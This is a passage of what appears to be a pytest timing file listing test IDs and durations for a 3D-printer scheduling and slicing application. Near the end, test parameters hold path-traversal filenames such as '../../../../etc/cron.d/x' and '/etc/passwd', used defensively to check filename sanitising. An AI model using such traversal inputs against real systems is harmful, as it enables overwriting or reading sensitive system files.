"unit/test_scheduler_nozzle_mismatch.py::test_no_installed_nozzles_is_failsafe_none": 0.0011746212840080261, + "unit/test_scheduler_nozzle_mismatch.py::test_no_sliced_diameter_is_failsafe_none": 0.0011921944096684456, + "unit/test_scheduler_nozzle_mismatch.py::test_rack_accepts_the_serialised_key_name": 0.0011585699394345284, + "unit/test_scheduler_nozzle_mismatch.py::test_rack_empty_dock_is_absent_not_zero": 0.001173318363726139, + "unit/test_scheduler_nozzle_mismatch.py::test_rack_empty_on_printers_without_one": 0.0011798720806837082, + "unit/test_scheduler_nozzle_mismatch.py::test_rack_ignores_unparseable_entries": 0.001186293549835682, + "unit/test_scheduler_nozzle_mismatch.py::test_rack_only_still_fail_safe_when_nothing_is_known": 0.0011555757373571396, + "unit/test_scheduler_nozzle_mismatch.py::test_rack_reads_dock_positions_only": 0.0012149466201663017, + "unit/test_scheduler_nozzle_mismatch.py::test_start_print_blocks_on_nozzle_mismatch_before_upload": 0.07262475974857807, + "unit/test_scheduler_nozzle_mismatch.py::test_start_print_proceeds_when_nozzle_matches": 0.0720334630459547, + "unit/test_scheduler_nozzle_mismatch.py::test_start_print_proceeds_when_the_nozzle_is_in_the_rack": 0.08430672623217106, + "unit/test_scheduler_nozzle_mismatch.py::test_start_print_still_blocks_a_diameter_the_rack_lacks": 0.07148882281035185, + "unit/test_scheduler_power_plug_pick_2629.py::TestPickPowerPlug::test_falls_back_to_first_when_none_flagged": 0.0012783762067556381, + "unit/test_scheduler_power_plug_pick_2629.py::TestPickPowerPlug::test_keeps_first_power_plug_when_several_qualify": 0.0011447444558143616, + "unit/test_scheduler_power_plug_pick_2629.py::TestPickPowerPlug::test_prefers_power_plug_over_earlier_accessory": 0.0014252513647079468, + "unit/test_scheduler_power_plug_pick_2629.py::TestPickPowerPlug::test_single_plug_is_returned_regardless": 0.001005975529551506, + "unit/test_scheduler_preheat.py::test_a_configured_map_reaches_the_loop_under_the_same_contract": 0.0015086578205227852, + "unit/test_scheduler_preheat.py::test_a_filled_variant_preheats_like_its_base_material": 0.0013361535966396332, + "unit/test_scheduler_preheat.py::test_chamber_target_override_beats_filament_map": 0.00293916929513216, + "unit/test_scheduler_preheat.py::test_custom_filament_targets_json_parses": 0.0037816381081938744, + "unit/test_scheduler_preheat.py::test_filament_map_picks_max_across_loaded_slots": 0.003778751939535141, + "unit/test_scheduler_preheat.py::test_get_preheat_filament_targets_defaults_when_missing[None]": 0.0015393048524856567, + "unit/test_scheduler_preheat.py::test_get_preheat_filament_targets_defaults_when_missing[[1, 2, 3]]": 0.0017305845394730568, + "unit/test_scheduler_preheat.py::test_get_preheat_filament_targets_defaults_when_missing[]": 0.001529826782643795, + "unit/test_scheduler_preheat.py::test_get_preheat_filament_targets_defaults_when_missing[not json at all]": 0.0015945089980959892, + "unit/test_scheduler_preheat.py::test_global_disabled_inherit_skips": 0.00227937288582325, + "unit/test_scheduler_preheat.py::test_h2d_airduct_already_correct_idempotent": 0.0031532086431980133, + "unit/test_scheduler_preheat.py::test_h2d_chamber_heat_switches_airduct_to_heating": 0.002730949781835079, + "unit/test_scheduler_preheat.py::test_h2d_chamber_zero_switches_airduct_to_cooling": 0.0027266182005405426, + "unit/test_scheduler_preheat.py::test_h2d_flips_airduct_to_heating_before_m141": 0.007814215496182442, + "unit/test_scheduler_preheat.py::test_item_override_off_bypasses_global_on": 0.002794177271425724, + "unit/test_scheduler_preheat.py::test_item_override_on_runs_despite_global_off": 0.0028988635167479515, + "unit/test_scheduler_preheat.py::test_lost_client_skips_silently": 0.002293309196829796, + "unit/test_scheduler_preheat.py::test_malformed_filament_targets_falls_back_to_defaults": 0.0036394326016306877, + "unit/test_scheduler_preheat.py::test_no_bed_temperature_and_no_chamber_target_still_skips": 0.002784920856356621, + "unit/test_scheduler_preheat.py::test_no_bed_temperature_but_chamber_needed_heats_bed_to_configured_temp": 0.0035054506734013557, + "unit/test_scheduler_preheat.py::test_normalize_filament_type_strips_at_space": 0.0013451110571622849, + "unit/test_scheduler_preheat.py::test_p1s_no_chamber_sensor_uses_soak_timer_only": 0.0033294418826699257, + "unit/test_scheduler_preheat.py::test_pla_only_derives_zero_chamber_skips": 0.003514286130666733, + "unit/test_scheduler_preheat.py::test_unknown_filament_type_falls_to_default": 0.0032711895182728767, + "unit/test_scheduler_preheat.py::test_x1c_no_airduct_flap_never_fires_set_airduct": 0.0026016170158982277, + "unit/test_scheduler_preheat.py::test_x1c_skips_airduct_no_heater_no_call": 0.0028505437076091766, + "unit/test_scheduler_preheat.py::test_x1c_skips_m141_but_waits_passively": 0.00324403028935194, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_a_mapped_petg_pro_job_ignores_the_asa": 0.001237018033862114, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_a_mapping_already_stored_as_a_list_is_read_without_json": 0.0012329891324043274, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_a_multi_material_job_takes_the_max_of_the_trays_it_maps": 0.0015690205618739128, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_a_non_dict_tray_entry_is_stepped_over": 0.0013317670673131943, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_a_non_dict_vt_tray_entry_is_skipped": 0.0016877222806215286, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_a_partially_resolved_mapping_narrows_to_the_slots_that_resolved": 0.0012311963364481926, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_a_second_ams_unit_is_addressed_with_the_four_slot_stride": 0.0015419190749526024, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_a_tray_with_no_type_contributes_nothing": 0.0012020505964756012, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_ams_ht_is_addressed_by_its_unit_id": 0.0016772020608186722, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_external_spool_the_mapping_does_not_name_is_ignored": 0.001661425456404686, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_external_spool_the_mapping_names_is_read": 0.0016564643010497093, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_external_spool_without_an_id_defaults_to_254": 0.0016501834616065025, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_item_object_without_the_attribute_at_all_scans_every_tray": 0.0012075435370206833, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_item_without_a_usable_mapping_scans_every_tray[all-null]": 0.0012486502528190613, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_item_without_a_usable_mapping_scans_every_tray[all-unresolved]": 0.001245824620127678, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_item_without_a_usable_mapping_scans_every_tray[empty-list]": 0.0012601716443896294, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_item_without_a_usable_mapping_scans_every_tray[empty-string]": 0.0012661637738347054, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_item_without_a_usable_mapping_scans_every_tray[never-set]": 0.0013041235506534576, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_item_without_a_usable_mapping_scans_every_tray[not-a-list]": 0.0012595197185873985, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_an_item_without_a_usable_mapping_scans_every_tray[unparseable]": 0.001521773636341095, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_end_to_end_a_mapped_asa_job_still_heats_the_bed_to_drive_the_chamber": 0.0028402432799339294, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_end_to_end_the_pla_job_skips_preheat_entirely": 0.002281597815454006, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_keep_warm_uses_the_next_items_mapping": 0.0021656090393662453, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_no_ams_telemetry_derives_zero": 0.0016507133841514587, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_no_printer_status_derives_zero": 0.0015798630192875862, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_passing_no_item_at_all_scans_every_tray": 0.0011918935924768448, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_the_external_spool_stays_out_of_the_unnarrowed_scan": 0.0016770139336585999, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_the_reporters_pla_job_derives_no_chamber_target": 0.0013110386207699776, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_the_same_ams_still_derives_45_for_a_job_that_maps_the_asa": 0.001278185285627842, + "unit/test_scheduler_preheat_ams_mapping_2886.py::test_unparseable_tray_ids_do_not_take_the_derivation_down": 0.0012289425358176231, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_fires_sends_bed_airduct_chamber_on_h2d": 0.0029010577127337456, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_fires_sends_bed_only_on_x1c": 0.0029894746840000153, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_registers_all_actions_in_pin_on_h2d": 0.0034658554941415787, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_registers_only_bed_in_pin_on_x1c": 0.0029213866218924522, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_skipped_when_bed_too_cold": 1.0034919939935207, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_skipped_when_chamber_currently_below_target": 1.0042229937389493, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_skipped_when_no_history": 0.0029311543330550194, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_skipped_when_no_sensor_model": 0.00415873434394598, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_skipped_when_soak_seconds_zero": 0.0042038895189762115, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_skips_airduct_pin_when_already_heating": 0.003087598830461502, + "unit/test_scheduler_preheat_fast_path.py::test_fast_path_skips_airduct_when_already_in_heating": 0.0028496021404862404, + "unit/test_scheduler_preheat_fast_path.py::test_notify_dispatch_cancelled_ignores_items_not_in_flight": 0.0014358609914779663, + "unit/test_scheduler_preheat_fast_path.py::test_notify_dispatch_cancelled_is_scoped_to_the_item": 0.0015105092898011208, + "unit/test_scheduler_preheat_fast_path.py::test_preheat_aborts_when_item_cancelled_during_soak": 0.0030585620552301407, + "unit/test_scheduler_preheat_fast_path.py::test_preheat_completes_when_item_stays_live": 0.003190569579601288, + "unit/test_scheduler_preheat_fast_path.py::test_preheat_fallback_honours_configured_temp": 0.003103918395936489, + "unit/test_scheduler_preheat_fast_path.py::test_preheat_falls_back_to_configured_bed_temp_when_metadata_missing": 0.003201691433787346, + "unit/test_scheduler_preheat_fast_path.py::test_preheat_prefers_parsed_bed_temp_over_fallback": 0.0030478229746222496, + "unit/test_scheduler_preheat_fast_path.py::test_preheat_skip_paths_still_return_true": 0.0018918365240097046, + "unit/test_scheduler_preheat_fast_path.py::test_preheat_sleep_runs_to_completion_when_not_cancelled": 0.0017603887245059013, + "unit/test_scheduler_preheat_fast_path.py::test_preheat_sleep_slices_and_stops_on_cancel": 0.0018015457317233086, + "unit/test_scheduler_preheat_fast_path.py::test_preheat_still_skips_when_no_bed_temp_and_no_chamber_target": 0.002653835341334343, + "unit/test_scheduler_preheat_fast_path.py::test_rollback_preheat_pin_noop_when_client_missing": 0.0016645686700940132, + "unit/test_scheduler_preheat_fast_path.py::test_rollback_preheat_pin_noop_when_pin_absent": 0.0017495891079306602, + "unit/test_scheduler_preheat_fast_path.py::test_rollback_preheat_pin_only_unwinds_registered_keys": 0.0020887358114123344, + "unit/test_scheduler_preheat_fast_path.py::test_rollback_preheat_pin_swallows_setter_exceptions": 0.0019340459257364273, + "unit/test_scheduler_preheat_fast_path.py::test_rollback_preheat_pin_unwinds_all_three_actions": 0.002039804123342037, + "unit/test_scheduler_reassign_race_2615.py::test_claim_fails_on_non_pending_row": 0.057753938250243664, + "unit/test_scheduler_reassign_race_2615.py::test_claim_stamps_pending_row_and_is_exclusive": 0.06320011522620916, + "unit/test_scheduler_reassign_race_2615.py::test_clear_releases_the_claim": 0.0544673390686512, + "unit/test_scheduler_reassign_race_2615.py::test_dispatch_one_claims_then_releases_around_start_print": 0.05618516821414232, + "unit/test_scheduler_reassign_race_2615.py::test_dispatch_one_skips_an_already_claimed_row": 0.057040401734411716, + "unit/test_scheduler_reassign_race_2615.py::test_startup_reconciliation_clears_stale_claims": 0.05771924369037151, + "unit/test_scheduler_release_conn_before_ftp_2572.py::test_connection_released_before_ftp_upload": 0.06977376621216536, + "unit/test_scheduler_release_conn_before_ftp_2572.py::test_connection_released_before_preheat_soak": 0.057900204323232174, + "unit/test_scheduler_scheduled_drying.py::test_a_finished_run_releases_the_printer_without_auto_drying": 0.19702449347823858, + "unit/test_scheduler_scheduled_drying.py::test_a_route_cancel_releases_the_printer": 0.1894996091723442, + "unit/test_scheduler_scheduled_drying.py::test_ams_blocked_stays_pending": 0.19711492024362087, + "unit/test_scheduler_scheduled_drying.py::test_busy_printer_stays_pending_with_reason": 0.18924071453511715, + "unit/test_scheduler_scheduled_drying.py::test_due_row_dispatches_and_goes_running": 0.19414966367185116, + "unit/test_scheduler_scheduled_drying.py::test_earliest_start_after_dispatches_first": 0.1973766628652811, + "unit/test_scheduler_scheduled_drying.py::test_empty_filament_backfills_from_loaded_tray": 0.1920539876446128, + "unit/test_scheduler_scheduled_drying.py::test_empty_filament_falls_back_to_pla": 0.18983612023293972, + "unit/test_scheduler_scheduled_drying.py::test_finished_rows_pruned_after_retention": 0.1883918922394514, + "unit/test_scheduler_scheduled_drying.py::test_firmware_below_minimum_fails": 0.190787591971457, + "unit/test_scheduler_scheduled_drying.py::test_future_start_after_not_dispatched": 0.18082862626761198, + "unit/test_scheduler_scheduled_drying.py::test_malformed_ams_id_does_not_throw_while_running": 0.1862121568992734, + "unit/test_scheduler_scheduled_drying.py::test_null_start_after_dispatches_immediately": 0.18753852415829897, + "unit/test_scheduler_scheduled_drying.py::test_offline_printer_stays_pending": 0.1868692496791482, + "unit/test_scheduler_scheduled_drying.py::test_power_block_gets_its_own_waiting_reason[1]": 0.19805231783539057, + "unit/test_scheduler_scheduled_drying.py::test_power_block_gets_its_own_waiting_reason[8]": 0.19244742393493652, + "unit/test_scheduler_scheduled_drying.py::test_power_block_outranks_retract": 0.1884730253368616, + "unit/test_scheduler_scheduled_drying.py::test_prune_does_not_run_on_every_pass": 0.19041575584560633, + "unit/test_scheduler_scheduled_drying.py::test_retract_block_gets_its_own_waiting_reason": 0.1867931755259633, + "unit/test_scheduler_scheduled_drying.py::test_running_completes_after_duration": 0.19956031627953053, + "unit/test_scheduler_scheduled_drying.py::test_running_interrupted_by_print_requeues": 0.19368801824748516, + "unit/test_scheduler_scheduled_drying.py::test_running_stopped_while_idle_cancels": 0.18927331548184156, + "unit/test_scheduler_scheduled_drying.py::test_running_within_grace_untouched": 0.1857922114431858, + "unit/test_scheduler_scheduled_drying.py::test_scheduled_drying_survives_auto_drying_stop_all": 0.1896224468946457, + "unit/test_scheduler_scheduled_drying.py::test_screen_only_model_fails_instead_of_dispatching": 0.1813280014321208, + "unit/test_scheduler_scheduled_drying.py::test_second_pending_row_for_same_printer_does_not_dispatch": 0.18949832674115896, + "unit/test_scheduler_scheduled_drying_check_queue.py::test_a_due_row_dispatches_through_the_real_queue_pass": 0.07174445036798716, + "unit/test_scheduler_scheduled_drying_check_queue.py::test_a_failed_row_does_not_stop_the_queue": 0.08125541731715202, + "unit/test_scheduler_scheduled_drying_check_queue.py::test_a_pass_with_no_scheduled_rows_still_dispatches_prints": 0.07978320866823196, + "unit/test_scheduler_scheduled_drying_check_queue.py::test_a_scheduled_row_does_not_stop_the_queue": 0.07638413738459349, + "unit/test_scheduler_watchdog.py::TestDryingAmsIds::test_no_raw_data_is_not_an_error": 0.0010542059317231178, + "unit/test_scheduler_watchdog.py::TestDryingAmsIds::test_reports_units_with_time_remaining": 0.0014608073979616165, + "unit/test_scheduler_watchdog.py::TestDryingAmsIds::test_unparseable_entries_are_skipped_not_fatal": 0.0010498277842998505, + "unit/test_scheduler_watchdog.py::TestGcodeFileDiscriminator::test_reconnects_when_gcode_file_unchanged": 0.2593213440850377, + "unit/test_scheduler_watchdog.py::TestGcodeFileDiscriminator::test_skips_reconnect_when_gcode_file_changed": 0.258879117667675, + "unit/test_scheduler_watchdog.py::TestWatchdogCommandRejected::test_a_printer_that_actually_starts_is_unaffected": 0.10810670349746943, + "unit/test_scheduler_watchdog.py::TestWatchdogCommandRejected::test_detected_in_phase_a_before_any_subtask_advance": 0.1215435890480876, + "unit/test_scheduler_watchdog.py::TestWatchdogCommandRejected::test_error_message_names_the_fix": 0.11634581629186869, + "unit/test_scheduler_watchdog.py::TestWatchdogCommandRejected::test_fails_on_the_first_attempt": 0.11201133206486702, + "unit/test_scheduler_watchdog.py::TestWatchdogCommandRejected::test_notifies_with_the_rejection_reason": 0.11002880800515413, + "unit/test_scheduler_watchdog.py::TestWatchdogCommandRejected::test_skips_the_forced_reconnect": 0.11542048119008541, + "unit/test_scheduler_watchdog.py::TestWatchdogCommandRejected::test_unrelated_hms_still_takes_the_retry_path": 0.31167813763022423, + "unit/test_scheduler_watchdog.py::TestWatchdogExitsEarlyOnPickup::test_exits_on_state_change": 0.11464969627559185, + "unit/test_scheduler_watchdog.py::TestWatchdogExitsEarlyOnPickup::test_h2d_finish_to_running_via_subtask_id_then_active_state": 0.16314927022904158, + "unit/test_scheduler_watchdog.py::TestWatchdogFallbackBehaviour::test_current_subtask_id_none_does_not_trigger_early_exit": 0.2611592411994934, + "unit/test_scheduler_watchdog.py::TestWatchdogFallbackBehaviour::test_no_revert_if_item_already_completed": 0.2614786494523287, + "unit/test_scheduler_watchdog.py::TestWatchdogFallbackBehaviour::test_pre_subtask_id_none_falls_back_to_state_only": 0.2637996207922697, + "unit/test_scheduler_watchdog.py::TestWatchdogFallbackBehaviour::test_printer_disconnected_returns_without_reverting": 0.10389365814626217, + "unit/test_scheduler_watchdog.py::TestWatchdogNamesDryingAsTheObstacle::test_a_cycle_that_ends_mid_window_is_still_reported": 0.8287990568205714, + "unit/test_scheduler_watchdog.py::TestWatchdogNamesDryingAsTheObstacle::test_drying_does_not_make_a_successful_start_fail": 0.10341975931078196, + "unit/test_scheduler_watchdog.py::TestWatchdogNamesDryingAsTheObstacle::test_give_up_message_names_the_drying_units": 0.8288364764302969, + "unit/test_scheduler_watchdog.py::TestWatchdogNamesDryingAsTheObstacle::test_no_drying_keeps_the_original_message": 0.8219955759122968, + "unit/test_scheduler_watchdog.py::TestWatchdogNamesDryingAsTheObstacle::test_single_unit_reads_naturally": 0.8220651652663946, + "unit/test_scheduler_watchdog.py::TestWatchdogRetryBudget::test_a_successful_start_never_touches_the_counter": 0.10651497077196836, + "unit/test_scheduler_watchdog.py::TestWatchdogRetryBudget::test_attempts_accumulate_across_wedges": 0.5697874715551734, + "unit/test_scheduler_watchdog.py::TestWatchdogRetryBudget::test_early_wedges_still_revert_for_retry": 0.31225887686014175, + "unit/test_scheduler_watchdog.py::TestWatchdogRetryBudget::test_gives_up_and_fails_the_item_at_the_budget": 0.829216418787837, + "unit/test_scheduler_watchdog.py::TestWatchdogRevertsWhenStuck::test_default_phase_b_timeout_is_180_seconds": 0.002074788324534893, + "unit/test_scheduler_watchdog.py::TestWatchdogRevertsWhenStuck::test_default_timeout_is_90_seconds": 0.002041757106781006, + "unit/test_scheduler_watchdog.py::TestWatchdogRevertsWhenStuck::test_does_not_revert_on_pickup_via_active_state": 0.26357430778443813, + "unit/test_scheduler_watchdog.py::TestWatchdogRevertsWhenStuck::test_reverts_on_finish_to_idle_user_dismissed_prompt": 0.2713896259665489, + "unit/test_scheduler_watchdog.py::TestWatchdogRevertsWhenStuck::test_reverts_when_neither_state_nor_subtask_id_changes": 0.26182421762496233, + "unit/test_scheduler_watchdog.py::TestWatchdogRevertsWhenStuck::test_reverts_when_subtask_advanced_but_state_never_active": 0.32148847449570894, + "unit/test_settings_dedupe_migration.py::test_legacy_schema_allows_duplicate_keys_before_migration": 0.049841838888823986, + "unit/test_settings_dedupe_migration.py::test_migration_dedupes_and_adds_unique_index": 0.43001934327185154, + "unit/test_settings_dedupe_migration.py::test_migration_is_idempotent_on_already_clean_legacy": 0.8300127005204558, + "unit/test_settings_dedupe_migration.py::test_migration_is_noop_on_fresh_install": 0.4598523620516062, + "unit/test_sidebar_settings.py::test_default_sidebar_order_accepts_hidden_system_item_ids": 0.0015189461410045624, + "unit/test_sidebar_settings.py::test_default_sidebar_order_rejects_invalid_hidden_system_item_ids": 0.0014779102057218552, + "unit/test_skip_objects_survive_restart.py::TestExtractFromArchiveFile::test_a_fallback_archive_with_no_3mf_is_empty": 0.002347119152545929, + "unit/test_skip_objects_survive_restart.py::TestExtractFromArchiveFile::test_a_missing_file_is_empty_rather_than_an_error": 0.001706508919596672, + "unit/test_skip_objects_survive_restart.py::TestExtractFromArchiveFile::test_objects_come_back_with_their_positions": 0.001863052137196064, + "unit/test_skip_objects_survive_restart.py::TestRestartRecovery::test_a_list_that_is_already_loaded_is_left_alone": 0.0028852391988039017, + "unit/test_skip_objects_survive_restart.py::TestRestartRecovery::test_no_matching_archive_is_not_an_error": 0.0024380190297961235, + "unit/test_skip_objects_survive_restart.py::TestRestartRecovery::test_nothing_is_loaded_without_a_subtask_to_anchor_on[0]": 0.002563334070146084, + "unit/test_skip_objects_survive_restart.py::TestRestartRecovery::test_nothing_is_loaded_without_a_subtask_to_anchor_on[None]": 0.002309228293597698, + "unit/test_skip_objects_survive_restart.py::TestRestartRecovery::test_nothing_is_loaded_without_a_subtask_to_anchor_on[]": 0.002333524636924267, + "unit/test_skip_objects_survive_restart.py::TestRestartRecovery::test_objects_are_reloaded_from_the_running_print_s_archive": 0.002829071134328842, + "unit/test_skip_objects_survive_restart.py::TestRestartRecovery::test_the_recovery_hook_calls_it": 0.0033840127289295197, + "unit/test_slice_backstop_wiring_2838.py::TestItDoesNotJudgeProfilesBambuddyDidNotResolve::test_other_tiers_slice_normally[cloud]": 0.0030718883499503136, + "unit/test_slice_backstop_wiring_2838.py::TestItDoesNotJudgeProfilesBambuddyDidNotResolve::test_other_tiers_slice_normally[local]": 0.0035934867337346077, + "unit/test_slice_backstop_wiring_2838.py::TestItDoesNotJudgeProfilesBambuddyDidNotResolve::test_other_tiers_slice_normally[orca_cloud]": 0.0032281409949064255, + "unit/test_slice_backstop_wiring_2838.py::TestItDoesNotJudgeProfilesBambuddyDidNotResolve::test_the_embedded_settings_fallback_is_left_alone": 0.0034558698534965515, + "unit/test_slice_backstop_wiring_2838.py::TestItRefusesTheDefect::test_a_standard_preset_with_no_start_gcode_is_refused": 0.003329051658511162, + "unit/test_slice_backstop_wiring_2838.py::TestItRefusesTheDefect::test_the_same_slice_with_real_start_gcode_goes_through": 0.00328968558460474, + "unit/test_slice_external_folder_output.py::TestResolveSliceDestination::test_a_name_that_escapes_the_mount_lands_in_managed_storage": 0.001773834228515625, + "unit/test_slice_external_folder_output.py::TestResolveSliceDestination::test_folder_with_no_path_configured_falls_back": 0.0016096169129014015, + "unit/test_slice_external_folder_output.py::TestResolveSliceDestination::test_managed_folder_keeps_the_uuid_name": 0.00181653443723917, + "unit/test_slice_external_folder_output.py::TestResolveSliceDestination::test_no_folder_at_all_is_managed": 0.0016814228147268295, + "unit/test_slice_external_folder_output.py::TestResolveSliceDestination::test_read_only_mount_falls_back_instead_of_failing": 0.0016517164185643196, + "unit/test_slice_external_folder_output.py::TestResolveSliceDestination::test_unwritable_mount_falls_back": 0.00164690800011158, + "unit/test_slice_external_folder_output.py::TestResolveSliceDestination::test_vanished_mount_falls_back": 0.001610277220606804, + "unit/test_slice_external_folder_output.py::TestResolveSliceDestination::test_writable_external_folder_gets_the_real_filename": 0.001774294301867485, + "unit/test_slice_external_folder_output.py::TestSliceAndPersistWritesToTheMount::test_a_managed_folder_is_unaffected": 0.18028900679200888, + "unit/test_slice_external_folder_output.py::TestSliceAndPersistWritesToTheMount::test_a_read_only_mount_still_yields_a_usable_file_and_says_why": 0.18892959039658308, + "unit/test_slice_external_folder_output.py::TestSliceAndPersistWritesToTheMount::test_the_bytes_land_on_the_share": 0.18105498142540455, + "unit/test_slice_external_folder_output.py::TestSliceAndPersistWritesToTheMount::test_the_row_records_the_suffixed_name_on_a_collision": 0.19040617812424898, + "unit/test_slice_external_folder_output.py::TestUniqueExternalName::test_collision_suffixes_before_the_compound_extension": 0.001704585738480091, + "unit/test_slice_external_folder_output.py::TestUniqueExternalName::test_free_name_is_used_as_is": 0.001613033004105091, + "unit/test_slice_external_folder_output.py::TestUniqueExternalName::test_it_keeps_counting_past_the_first_collision": 0.0024600205942988396, + "unit/test_slice_external_folder_output.py::TestUniqueExternalName::test_re_slicing_never_overwrites_what_is_already_on_the_share": 0.0016932245343923569, + "unit/test_slice_output_check_2838.py::TestItDeclinesToJudgeWhatItCannotRead::test_a_config_without_the_key_passes": 0.0015460075810551643, + "unit/test_slice_output_check_2838.py::TestItDeclinesToJudgeWhatItCannotRead::test_a_malformed_config_passes": 0.0015298770740628242, + "unit/test_slice_output_check_2838.py::TestItDeclinesToJudgeWhatItCannotRead::test_an_archive_without_the_config_passes": 0.0015191268175840378, + "unit/test_slice_output_check_2838.py::TestItDeclinesToJudgeWhatItCannotRead::test_an_unreadable_archive_passes": 0.0015078065916895866, + "unit/test_slice_output_check_2838.py::TestItDeclinesToJudgeWhatItCannotRead::test_empty_content_passes": 0.0014543570578098297, + "unit/test_slice_output_check_2838.py::TestPlainGcodeExport::test_a_real_start_block_passes": 0.0015328731387853622, + "unit/test_slice_output_check_2838.py::TestPlainGcodeExport::test_the_generic_fallback_is_caught": 0.0015867650508880615, + "unit/test_slice_output_check_2838.py::TestPlainGcodeExport::test_undecodable_bytes_do_not_crash_it": 0.0015136981382966042, + "unit/test_slice_output_check_2838.py::TestTheDefect::test_a_real_start_block_passes": 0.002302626147866249, + "unit/test_slice_output_check_2838.py::TestTheDefect::test_an_empty_start_block_is_caught": 0.001725585199892521, + "unit/test_slice_output_check_2838.py::TestTheDefect::test_the_generic_fallback_is_caught": 0.0025199735537171364, + "unit/test_slice_output_check_2838.py::TestTheDefect::test_the_value_may_be_a_list": 0.0021723927929997444, + "unit/test_slice_output_check_2838.py::TestTheMessage::test_it_names_the_preset_and_the_actual_fix": 0.0014451686292886734, + "unit/test_slice_output_check_2838.py::TestTheMessage::test_it_says_the_file_was_not_kept": 0.0014561191201210022, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_a_non_string_is_handed_back_for_the_schema_to_reject[123]": 0.001252857968211174, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_a_non_string_is_handed_back_for_the_schema_to_reject[True]": 0.0012547308579087257, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_a_non_string_is_handed_back_for_the_schema_to_reject[value1]": 0.001263979822397232, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_a_non_string_is_handed_back_for_the_schema_to_reject[value2]": 0.0012563252821564674, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_a_title_with_punctuation_reaches_the_database_intact": 0.0012706611305475235, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_an_embedded_name_of_only_whitespace_falls_back_to_the_filename": 0.0012795086950063705, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_an_empty_name_becomes_none": 0.0012324191629886627, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_and_the_schema_does_reject_it[123]": 0.00131315179169178, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_and_the_schema_does_reject_it[True]": 0.0013191523030400276, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_and_the_schema_does_reject_it[value1]": 0.0012860503047704697, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_and_the_schema_does_reject_it[value2]": 0.0013163089752197266, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_control_characters_are_removed": 0.0012409966439008713, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_none_stays_none": 0.0012151161208748817, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_surrounding_whitespace_goes": 0.0012452220544219017, + "unit/test_slice_output_name_2832.py::TestDisplayNamesKeepTheirPunctuation::test_the_reported_title_survives_intact": 0.0012456653639674187, + "unit/test_slice_output_name_2832.py::TestItCannotEscape::test_a_name_of_pure_separators_reduces_to_a_usable_component": 0.0012998748570680618, + "unit/test_slice_output_name_2832.py::TestItCannotEscape::test_a_name_that_reduces_to_nothing_falls_back": 0.0013454323634505272, + "unit/test_slice_output_name_2832.py::TestItCannotEscape::test_no_separator_survives[../../../../etc/cron.d/x]": 0.001522202044725418, + "unit/test_slice_output_name_2832.py::TestItCannotEscape::test_no_separator_survives[../..]": 0.0016214707866311073, + "unit/test_slice_output_name_2832.py::TestItCannotEscape::test_no_separator_survives[..\\\\..\\\\windows\\\\system32]": 0.0014398479834198952, + "unit/test_slice_output_name_2832.py::TestItCannotEscape::test_no_separator_survives[..]": 0.0022090207785367966, + "unit/test_slice_output_name_2832.py::TestItCannotEscape::test_no_separator_survives[/etc/passwd]": 0.0015008244663476944, + "unit/test_slice_output_name_2832.py::TestItCannotEscape::test_no_separator_survives[a/../../b]": 0.0013951444998383522, + "unit/test_slice_output_name_2832.py::TestLengthBudget::test_a_long_name_is_capped": 0.0012805899605154991, + "unit/test_slice_output_name_2832.py::TestLengthBudget::test_a_multibyte_name_is_not_cut_mid_character": 0.0012581096962094307, + 